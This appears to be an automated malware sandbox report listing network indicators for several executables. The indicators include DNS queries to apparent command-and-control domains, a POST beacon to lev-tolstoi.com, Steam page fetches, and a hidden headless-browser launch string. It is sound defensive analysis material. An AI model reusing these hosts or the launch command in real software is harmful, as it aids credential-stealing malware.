Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Host: gamertool.euCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3Host: gamertool.euCache-Control: no-cache

Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422468025.0000000000DFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-picy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148781295.0000000000AF9000.00000004.00000010.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255241129.00000000008FC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)
Source: Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsYeu equals www.youtube.com (Youtube)
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY - Search equals www.youtube.com (Youtube)
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: --headless --disable-gpu --mutetps://www.bing.com/search?q=--headless+--disable-gpu+--mute-audio+--autoplay-policy%3Dno-user-gesture-required+--app%3Dhttps%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DwjIuS_rQQsY&src=IE-SearchBox&FORM=IE11SR equals www.youtube.com (Youtube)
Source: msapplication.xml7.9.dr	String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x553e2be6,0x01db5865</date><accdate>0x55408e57,0x01db5865</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422468025.0000000000DFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: >"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: @p"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422010886.0000000000B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Temp\C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsYC:\Program Files\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_Initializecriptions:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.\REGISTRY\\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_Initialize Stepping 8,T equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148856128.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsYC:\Progr equals www.youtube.com (Youtube)
Source: Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255270179.0000000000A10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsYC:\Program Files\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_Initializecriptions:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.\REGISTRY\\Registry\Machine\Software\WOW6432Node\Microsoft\Windows NT\CurrentVersion\GRE_Initialize Stepping 8,O equals www.youtube.com (Youtube)
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=b6e631875b4c3e6a053e51c0; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 27 Dec 2024 13:42:12 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Program Files\Internet Explorer\iexplore.exe" --headless --disable-gpu --mute-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: https://www.bing.com/search?q=--headless+--disable-gpu+--mute-audio+--autoplay-policy%3Dno-user-gesture-required+--app%3Dhttps%3A%2F%2Fwww.youtub-audio --autoplay-policy=no-user-gesture-required --app=https://www.youtube.com/watch?v=wjIuS_rQQsY - Search equals www.youtube.com (Youtube)
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: https://www.bing.com/search?q=--headless+--disable-gpu+--mute-audio+--autoplay-policy%3Dno-user-gesture-required+--app%3Dhttps%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DwjI equals www.youtube.com (Youtube)
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: https://www.bing.com/search?q=--headless+--disable-gpu+--mute-audio+--autoplay-policy%3Dno-user-gesture-required+--app%3Dhttps%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DwjIuS_rQQsY&src=IE-SearchBox&FORM=IE11SR equals www.youtube.com (Youtube)
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E1B000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000AE9000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255681495.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/watch?v=wjIuS_rQQsY equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: covery-mover.biz
Source: global traffic	DNS traffic detected: DNS query: se-blurry.biz
Source: global traffic	DNS traffic detected: DNS query: zinc-sneark.biz
Source: global traffic	DNS traffic detected: DNS query: dwell-exclaim.biz
Source: global traffic	DNS traffic detected: DNS query: formy-spill.biz
Source: global traffic	DNS traffic detected: DNS query: dare-curbys.biz
Source: global traffic	DNS traffic detected: DNS query: print-vexer.biz
Source: global traffic	DNS traffic detected: DNS query: impend-differ.biz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com
Source: global traffic	DNS traffic detected: DNS query: itsrevolutionmagnus.xyz
Source: global traffic	DNS traffic detected: DNS query: gamertool.eu
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gamertool.eu
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gamertool.eu/
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gamertool.eu/1
Source: Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gamertool.eu/ROWSE
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gamertool.eu/llON
Source: Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gamertool.eu/o
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000D88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gamertool.euT
Source: T4qO1i2Jav.exe, 00000000.00000003.2084043071.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2085945239.00000000009BA000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2059013399.00000000009B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: msapplication.xml8.9.dr	String found in binary or memory: http://www.amazon.com/
Source: msapplication.xml4.9.dr	String found in binary or memory: http://www.reddit.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: msapplication.xml7.9.dr	String found in binary or memory: http://www.youtube.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: T4qO1i2Jav.exe, 00000000.00000003.1865441532.0000000003B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: T4qO1i2Jav.exe, 00000000.00000003.1868013441.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: service_worker_bin_prod.js.17.dr, offscreendocument_main.js.17.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: Network Persistent State0.17.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
